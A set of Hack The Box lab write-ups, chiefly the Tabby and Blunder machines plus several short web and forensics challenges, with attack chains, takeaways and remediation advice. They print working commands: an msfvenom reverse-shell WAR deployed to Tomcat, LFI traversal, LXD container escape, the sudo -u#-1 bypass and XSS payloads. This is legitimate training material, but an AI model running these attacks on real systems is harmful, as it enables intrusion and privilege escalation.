Tabby writeup

Box name: Tabby

Difficulty: Easy

OS: Linux

Overview: Tabby is a easy difficulty Linux machine. Enumeration of the website reveals a second website that is hosted on the same server under a different vhost. This website is vulnerable to Local File Inclusion. Knowledge of the OS version is used to identify the tomcat-users.xml file location. This file yields credentials for a Tomcat user that is authorized to use the /manager/text interface. This is leveraged to deploy of a war file and upload a webshell, which in turn is used to get a reverse shell. Enumeration of the filesystem reveals a password protected zip file, which can be downloaded and cracked locally. The cracked password can be used to login to the remote machine as a low privileged user. However this user is a member of the LXD group, which allows privilege escalation by creating a privileged container, into which the host's filesystem is mounted. Eventually, access to the remote machine is gained as root using SSH.

Link: https://app.hackthebox.com/machines/Tabby?sort_by=created_at&sort_type=desc

Machine IP: 10.129.38.255

Ran rustscan against the machine.

rustscan -a 10.129.38.255 –ulimit 5000 -b 2000 — -A -Pn

Navigated to the site.

Nothing found in robots.txt or sourcecode. Clicked around nothing interesting right away. Running feroxbuster.

feroxbuster -u http://10.129.38.255 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion -t 50 -d 4 –filter-status 404,400

While this was happening, I looked at port 8080 and it is a Apache Tomcat server.

The last line of users are defined in /etc/tomcat9/tomcat-users.xml is interesting. I tried navigating and we get a version atleast.

When I on the original port 80 pages and clicked news I saw something that looked like a possible LFI. Did a bit of testing there but no luck. 

No exploits found for Apache Tomcat/9.0.31. Since I had to add that to megahosting.htb to etc/hosts to see that page I fuzzed for vhosts with ffuf.

ffuf -u http://megahosting.htb -H “Host: FUZZ.megahosting.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -c -fc 302 -fs 14175

That didn’t find anything. I tried 8080 as well but nothing was found there. I went back to LFI as I realized I was doing that wrong. I was able to get to /etc/passwd so that definitely works.

User ash is interesting. Feroxbuster for the Apache server finished and we see /manager is interesting. Should’ve been able to guess this as its Tomcat.

From the error page I tried the default creds. I did a bunch of other testing but eventually I found myself stuck. I peaked at the writeup and the problem is I didn’t know exactly where tomcat-users.xml was but this was the right path. Doing research and with the information we have we could’ve deducted it lives at http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml.

And there is a password there tomcat:$3cureP4s5w0rd123!

When I tried logging in this page is only accessible from the same machine.

I was stuck here again so decided to just follow the writeup again. Apparently /manager/text allows us to run commands. Reset my machine, new IP 10.129.39.4. Created a war file.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.147 LPORT=4444 -f war -o shell.war

Deployed it.

curl -u ‘tomcat:$3cureP4s5w0rd123!’ “http://10.129.39.4:8080/manager/text/deploy?path=/shell” –upload-file shell.war

Set up a listener and triggered it and we got a shell.

curl http://10.129.39.4:8080/shell/

Stabilized my shell. Downloaded linpeas to the victim machine and ran it. It found an interesting backup file.

It’s password protected. I tried the password we have but it doesnt work. Will move it to my machine to see if we can crack with john.

cat /var/www/html/files/16162020_backup.zip| base64 -w 0;echo

The first time I tried it my terminal crashed because my computer sucks 🙂 

Put the base64 in a file called tabby.

cat tabby | base64 -d > 16162020_backup.zip

Using zip2john.

zip2john 16162020_backup.zip > tabby.hash

john tabby.hash –wordlist=/usr/share/wordlists/rockyou.txt

Unzipped it.

unzip /var/www/html/files/16162020_backup.zip

Read through the files. The interesting file is news.php

I saw this on the normal site earlier. I was thinking about how I’d use this but I realized this is actually how we got our foothold lol. I tried the password admin@it just to su to ash and that actually worked and got user.txt.

Can’t run sudo -l for an easy win. Ran linpeas as ash. Our groups actually look interesting.

git clone https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder/

./build-alpine

Hosted it on a php server.

php -S 0.0.0.0:8000

Downloaded it to the machine.

wget http://10.10.16.147:8000/alpine-v3.23-x86_64-20260516_1058.tar.gz

/snap/bin/lxd init –auto

/snap/bin/lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz –alias alpine

/snap/bin/lxc init alpine privesc -c security.privileged=true

/snap/bin/lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

/snap/bin/lxc start privesc

/snap/bin/lxc exec privesc — /bin/sh

GG

Attack Chain

1 – Reconnaissance Ran RustScan and identified ports 22 (SSH), 80 (HTTP), and 8080 (HTTP). Browsed to port 80 and found a web application. Nothing useful in robots.txt or source code. Port 8080 revealed an Apache Tomcat 9.0.31 instance. Added megahosting.htb to /etc/hosts. Ran feroxbuster against both ports and ffuf for VHOST enumeration.

rustscan -a 10.129.38.255 –ulimit 5000 -b 2000 — -A -Pn feroxbuster -u http://10.129.38.255 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –force-recursion

2 – LFI and Tomcat credential extraction Found a news.php page with a file parameter that looked like a possible LFI. Confirmed LFI by reading /etc/passwd and identified a user named ash. Researched the Tomcat version and OS to determine the tomcat-users.xml path. Used the LFI to read the file and recovered Tomcat credentials.

http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml

Credentials recovered: tomcat:$3cureP4s5w0rd123!

3 – Initial Access – Tomcat WAR file deployment The /manager web interface was restricted to localhost only. Used the /manager/text endpoint which allowed remote deployment. Generated a Java reverse shell WAR file with msfvenom, deployed it via curl with the Tomcat credentials, and triggered it to obtain a shell as the tomcat user.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.147 LPORT=4444 -f war -o shell.war curl -u ‘tomcat:$3cureP4s5w0rd123!’ “http://10.129.39.4:8080/manager/text/deploy?path=/shell” –upload-file shell.war curl http://10.129.39.4:8080/shell/

4 – Password cracking and lateral movement Ran LinPEAS and found a password-protected zip backup file at /var/www/html/files/16162020_backup.zip. Exfiltrated it via base64 encoding, decoded it locally, and cracked the zip password with zip2john and John the Ripper. Extracted the archive and found news.php confirming the LFI source. Tried the zip password on the ash account and it worked. Retrieved user.txt.

zip2john 16162020_backup.zip > tabby.hash john tabby.hash –wordlist=/usr/share/wordlists/rockyou.txt

Credentials recovered: ash:admin@it

5 – Privilege Escalation – LXD group container escape Ran LinPEAS as ash and found membership in the lxd group. Built an Alpine Linux image locally using lxd-alpine-builder, transferred it to the target, initialized LXD, and created a privileged container with the host filesystem mounted at /mnt/root. Executed into the container as root and accessed the full host filesystem to retrieve root.txt.

/snap/bin/lxc init alpine privesc -c security.privileged=true /snap/bin/lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true /snap/bin/lxc start privesc /snap/bin/lxc exec privesc — /bin/sh

Key Takeaways

1. Local File Inclusion in news.php – The file parameter in news.php passed user input directly to a file read function with no path validation, allowing traversal to arbitrary files on the server including sensitive configuration files. All file path inputs must be validated against a strict allowlist and must never allow directory traversal sequences.
   
2. Tomcat credentials in a readable configuration file – The tomcat-users.xml file contained plaintext credentials for the manager-script role which were accessible via the LFI. Tomcat configuration files must have restrictive permissions and must not be readable by the web application process or accessible through application vulnerabilities.
   
3. Tomcat manager text endpoint allowing remote WAR deployment – While the web manager GUI was restricted to localhost the text interface was accessible remotely with valid credentials, allowing deployment of arbitrary WAR files and achieving code execution. Both the GUI and text endpoints of the Tomcat manager must be restricted to localhost or a dedicated management network.
   
4. Password reuse between zip archive and OS account – The password cracked from the backup zip file was reused for the ash OS account, turning an offline cracking exercise into interactive SSH access. Passwords must be unique across all accounts and assets without exception.
   
5. LXD group membership enabling full host filesystem access – Membership in the lxd group is equivalent to root access as it allows creating privileged containers with host filesystem mounts. The lxd group must be treated as a privileged group and membership must be restricted to administrators with an explicit operational requirement.
   

Remediation

[Immediate] Remediate the LFI vulnerability in news.php Rewrite the file inclusion logic to use an allowlist of permitted file names or identifiers rather than passing user input directly to a file read function. Block all directory traversal sequences at the input validation layer and deploy a WAF rule to detect and block path traversal attempts.

[Immediate] Restrict Tomcat manager endpoints Configure the Tomcat manager application to restrict access to localhost only for both the GUI and text interfaces by setting the RemoteAddrValve in context.xml. If remote manager access is operationally required, restrict it to a specific management IP and require strong unique credentials with MFA.

[Immediate] Rotate Tomcat credentials and restrict tomcat-users.xml permissions Rotate the Tomcat manager credentials immediately. Set tomcat-users.xml to be readable only by the Tomcat service account using mode 600. Audit all Tomcat configuration files for world or group readable permissions and correct them.

[Immediate] Restrict LXD group membership Audit all members of the lxd group and remove any accounts that do not have an explicit operational requirement. Treat lxd group membership as equivalent to root access and apply the same access controls and justification requirements. Monitor group membership changes via audit logging.

[Short-term] Enforce unique passwords across all accounts The zip archive password was reused for the ash OS account. Enforce a policy requiring unique passwords per account and per asset. Conduct a credential audit to identify shared passwords and force resets where reuse is found.

[Short-term] Remove sensitive backup files from the web root The backup zip file was stored in /var/www/html/files and was accessible via the web server. Backup files must never be stored in web-accessible directories. Implement a backup policy storing all archives in a dedicated location accessible only to authorized backup administrators.

[Long-term] Implement application security testing and a hardening baseline for web applications and Tomcat deployments Define a hardening standard for all Tomcat deployments covering manager endpoint restrictions, configuration file permissions, credential storage, and WAR deployment controls. Include LFI testing, path traversal, and authentication bypass in regular web application penetration tests. Conduct recurring audits of privileged group memberships across all Linux hosts.

Blunder writeup

Box name: Blunder

Difficulty: Easy

OS: Linux

Overview: Blunder is an Easy difficulty Linux machine that features a Bludit CMS instance running on port 80. The website contains various facts about different genres. Using GoBuster, we identify a text file that hints to the existence of user fergus, as well as an admin login page that is protected against brute force. An exploit that bypasses the brute force protection is identified, and a dictionary attack is run against the login form. This attack grants us access to the admin panel as fergus. A GitHub issue detailing an arbitrary file upload and directory traversal vulnerability is identified, which is used to gain a shell as www-data. The system is enumerated and a newer version of the Bludit CMS is identified in the /var/www folder. The updated version contains the SHA1 hash of user hugo's password. The password can be cracked online, allowing us to move laterally to this user. Enumeration reveals that the user can run commands as any system user apart from root using sudo. The sudo binary is identified to be outdated, and vulnerable to CVE-2019-14287. Successful exploitation of this vulnerability returns a root shell.

Link: https://app.hackthebox.com/machines/Blunder?sort_by=created_at&sort_type=desc

Machine IP: 10.129.95.225

Ran rustscan against the machine.

rustscan -a 10.129.95.225 –ulimit 5000 -b 2000 — -A -Pn

Only got one port back, reran the scan incase. Checked out the http server. Looks like it brings us to a basic site.

Nothing interesting in sourcecode or robots.txt. I’ve been watching a lot of other youtube videos of people hacking Vulnhub boxes to see if I can pickup on other people’s methodology and they usually just check /admin or /administrator before kicking off a full directory busting. Did that and I found an admin webpage.

Nmap didn’t find anything new, checking UDP incase too.

nmap –top-ports 100 -sV -sU 10.129.95.225

Also ran feroxbuster anyways.

feroxbuster -u http://10.129.95.225/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

Looked up default credentials, looks like it’s admin:admin but those didn’t work. Looked up exploits. Going back to source code on the /admin login We can see its 3.9.2.

Looked up exploits and found an auth bruteforce bypass https://www.exploit-db.com/exploits/48942. Created the script, only trying with admin, and ran it.

python3 bludit.py -l http://10.129.95.225/admin/login -u user.txt -p /usr/share/wordlists/rockyou.txt

Nmap UDP didn’t find anything. While that goes I read more on the site. Since it mentions Stephen King I’m not sure if thats just a user name or just some lorem ipsum. That eventually crashed, I don’t think admin is the username. Tried with sking and I reran feroxbusterr to look for possible files in directories.

feroxbuster -u http://10.129.95.225 -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html,txt,bak,zip,json,xml,py,sh,config –filter-status 404,400

After a huge while I could not find anything. Poked at the writeup to see if I was missing anything. Apparently there is a /todo.txt that none of my scans picked up at all and that has the user.

Reran the exploit.

python3 bludit.py -l http://10.129.95.225/admin/login -u user.txt -p /usr/share/wordlists/rockyou.txt

This didn’t work. I created a wordlist from the website using cewl.

Cewl 10.129.95.225 > wordlist.txt

Ran the exploit again.

python3 bludit.py -l http://10.129.95.225/admin/login -u user.txt -p wordlist.txt

And we finally got credentials.

fergus:RolandDeschain 

Now that we are in I poked around but couldn’t find anything. I also saw RCE exploits earlier, I found this https://github.com/hg8/CVE-2019-16113-PoC. Copied the payload and edited these lines so it works for us.

Set up a listener and ran it (had to remove that extra space in the password).

And I got a shell.

Checked /home and we see two users.

Poked around to see if I could find credentials. I found this file but it was not useful.

Poked further and I found another bludit version though.

This ended up having creds for Hugo.

Crackstation cracked it right away.

hugo:Password120

Stabilized my shell then moved to hugo.

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

Grabbed user.txt Ran sudo -l for quick win.

We can run bash except for root but we can take advantage of this.

sudo -u#-1 /bin/bash

And we get root.txt.

GG

Attack Chain

1 – Reconnaissance Ran RustScan and only identified port 80 (HTTP). Rescanned to confirm and checked UDP with Nmap. Browsed to the web server and found a basic blog site. Nothing interesting in source code or robots.txt. Manually checked /admin before running full directory busting and found a Bludit CMS login page. Source code on the login page revealed version 3.9.2.

rustscan -a 10.129.95.225 –ulimit 5000 -b 2000 — -A -Pn nmap –top-ports 100 -sV -sU 10.129.95.225 feroxbuster -u http://10.129.95.225/ -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt

2 – Username discovery and brute force bypass – EDB-48942 Default credentials of admin:admin failed. Researched Bludit 3.9.2 and found EDB-48942, a brute force protection bypass. Initial attempts with admin as the username failed. Checked the writeup hint and found /todo.txt on the site which was not discovered by any wordlist and contained the username fergus. Generated a custom password list from the site content using CeWL and ran the bypass exploit. Successfully authenticated.

cewl 10.129.95.225 > wordlist.txt python3 bludit.py -l http://10.129.95.225/admin/login -u user.txt -p wordlist.txt

Credentials recovered: fergus:RolandDeschain

3 – Initial Access – Bludit file upload RCE – CVE-2019-16113 Researched authenticated RCE exploits for Bludit and found CVE-2019-16113, a file upload and directory traversal vulnerability allowing arbitrary PHP execution. Edited the exploit with the target URL and credentials, set up a listener, and executed it to obtain a shell as www-data.

4 – Lateral movement via second Bludit installation Enumerated /home and found two users, hugo and shaun. Poked around the filesystem and found a second newer Bludit installation in /var/www. This version contained a users database file with a SHA1 hash for hugo’s password. Cracked it instantly on CrackStation.

Credentials recovered: hugo:Password120

5 – Privilege Escalation – sudo CVE-2019-14287 Stabilized the shell and switched to hugo. Retrieved user.txt. Ran sudo -l and found hugo could run /bin/bash as any user except root. The sudo version was outdated and vulnerable to CVE-2019-14287 which allows bypassing the user exclusion by passing a user ID of -1, which sudo interprets as root.

sudo -u#-1 /bin/bash

Retrieved root.txt.

Key Takeaways

1. Bludit brute force protection bypass – EDB-48942 – The Bludit login was protected against brute force but a known bypass existed for version 3.9.2 that allowed unlimited password attempts. CMS security controls must be validated against known bypasses and kept fully patched. Rate limiting and brute force protection must be implemented at the web server or WAF level independently of the application.
   
2. Username disclosed in an unlinked text file – The username fergus was found in /todo.txt which was not linked from any page and not discovered by standard wordlists. Sensitive notes and todo files must never be stored in the web root. Any file in a web-accessible directory is potentially discoverable and must be treated as public.
   
3. Bludit arbitrary file upload RCE – CVE-2019-16113 (CVSS 8.8 High) – The authenticated Bludit instance was vulnerable to a file upload and path traversal exploit allowing arbitrary PHP execution. CMS platforms must be kept fully patched and file upload functionality must validate file types and restrict upload destinations.
   
4. Password hash for hugo stored in a readable second installation – A second Bludit installation in /var/www contained a user database file with a recoverable SHA1 password hash. SHA1 is not a suitable algorithm for password storage. Legacy application installs that are no longer in use must be removed from the filesystem entirely.
   
5. Weak password crackable instantly – Hugo’s password was cracked immediately on CrackStation, indicating it was a common password. All user passwords must meet complexity requirements that prevent instant lookup table cracking regardless of the hashing algorithm in use.
   
6. Outdated sudo vulnerable to CVE-2019-14287 (CVSS 8.8 High) – The sudo binary was running a version vulnerable to a user ID bypass allowing the exclusion of root in a sudo rule to be circumvented. Sudo must be kept up to date and all sudo rules must be tested against known bypass techniques.
   

Remediation

[Immediate] Patch Bludit to remediate EDB-48942 and CVE-2019-16113 (CVSS 8.8 High) Update Bludit to the latest patched version immediately. Both the brute force bypass and the file upload RCE have been patched. Restrict access to the Bludit admin panel to authorized IP ranges and implement MFA on the admin account. Deploy a WAF with CMS-specific rules as a compensating control.

[Immediate] Remove all unneeded files from the web root Audit the entire web root for notes, todo files, backup files, and any content not intended for public access. Remove /todo.txt and any similar files immediately. Implement a deployment process that excludes all non-application files from the web root.

[Immediate] Patch sudo to remediate CVE-2019-14287 (CVSS 8.8 High) Update sudo to the latest version on all Linux hosts immediately. CVE-2019-14287 has been patched since sudo 1.8.28 and its presence indicates the system has not been maintained. Establish a patch management process covering core OS utilities including sudo, bash, and other privileged binaries.

[Immediate] Remove the legacy Bludit installation Delete the second Bludit installation from /var/www entirely. Legacy application installs contain credentials, hashes, and configuration data that remain exploitable long after the application is abandoned. Implement a decommissioning process requiring complete removal of all application files when a service is retired.

[Short-term] Replace SHA1 password hashing with a modern algorithm Migrate all stored password hashes from SHA1 to bcrypt, scrypt, or Argon2. Force a password reset for all affected accounts. SHA1 is cryptographically broken for password storage and must not be used in any new or existing application.

[Short-term] Enforce strong passwords across all accounts Hugo’s password was cracked instantly on a public lookup service. Enforce a minimum password length of 14 characters with complexity requirements across all application and OS accounts. Audit existing passwords against common wordlists and force resets where weak passwords are found.

[Long-term] Implement a CMS lifecycle and hardening program Define a policy covering the full lifecycle of CMS deployments from initial hardening through active maintenance to decommissioning. Include patch cadence, admin panel access controls, file upload restrictions, web root hygiene, and legacy installation removal. Conduct regular web application penetration tests covering all CMS instances.

Full Stack Conf writeup

Challenge name: Full Stack Conf

Difficulty: Easy

Challenge Scenario: Welcome to Full Stack Conf, explore the future of JavaScript with a lineup of industry professionals and discover new techniques to advance your career as a web developer. But be very careful with the stay up to date form, we don’t sanitize anything and the admin logs in and checks the emails regularly, don’t try anything funny!! 😅

Link: https://app.hackthebox.com/challenges/Full%2520Stack%2520Conf?tab=play_challenge

Machine IP: 154.57.164.80:30664

It brings me to a website and at the bottom it gives us a hint.

Did a bit of testing with alert(). I was able to get the flag with:

<img src=x onerror=alert(1)>

GG

Phantom Script writeup

Challenge name: Phantom Script

Difficulty: Very Easy

Challenge Scenario: Phantom Script is a very easy web challenge where players can learn about Cross Site Scripting interactively.

Link: https://app.hackthebox.com/challenges/Phantom%2520Script?tab=play_challenge

Machine IP: 154.57.164.81:30383

Navigated to the site.

I ended up running.

<img src=x onerror=”alert(document.cookie)”>

And I got the flag.

GG

Alien Cradle writeup

Challenge name: Alien Cradle

Difficulty: 

Challenge Scenario: In an attempt for the aliens to find more information about the relic, they launched an attack targeting Pandora’s close friends and partners that may know any secret information about it. During a recent incident believed to be operated by them, Pandora located a weird PowerShell script from the event logs, otherwise called PowerShell cradle. These scripts are usually used to download and execute the next stage of the attack. However, it seems obfuscated, and Pandora cannot understand it. Can you help her deobfuscate it?

Link: https://app.hackthebox.com/challenges/Alien%2520Cradle?tab=play_challenge

Machine IP: NA

Unzipped the file the challenge came with. Read it.

It’s a sort of powershell script but you can see the flag in the script. Put the flag together and submitted it.

GG

OpenSecret writeup

Challenge name: OpenSecret

Difficulty: Very Easy

Challenge Scenario: A simple help desk portal where users can submit support tickets. The application uses JWT tokens for session management, but something seems off about how they’re implemented. Can you find the security flaw?

Link: https://app.hackthebox.com/challenges/OpenSecret?tab=play_challenge

Machine IP: 154.57.164.66:32719

We can see the website.

When I make a test support ticket it stats I have ‘No session token provided’.

Checked the source code and it looks like the flag is there.

GG

Addition writeup

Challenge name: Addition

Difficulty: Very Easy

Challenge Scenario: Two ancient runes hold hidden powers. Combine them to unlock the sum and reveal their secret.

Link: https://app.hackthebox.com/challenges/Addition?tab=play_challenge

Machine IP: 154.57.164.67:30576

Very simple programming challenge. Just add two variables.

GG

Extraterrestrial Persistence writeup

Challenge name: Extraterrestrial Persistence

Difficulty: Very Easy

Challenge Scenario: There is a rumor that aliens have developed a persistence mechanism that is impossible to detect. After investigating her recently compromised Linux server, Pandora found a possible sample of this mechanism. Can you analyze it and find out how they install their persistence?

Link: https://app.hackthebox.com/challenges/Extraterrestrial%2520Persistence?tab=play_challenge

Machine IP: NA

Downloaded the file Extraterrestrial_Persistence.zip. Unzipped it. There is a persistence.sh file. Read that.

The base64 was the most interesting of this. Decoded it myself and I got the flag.

GG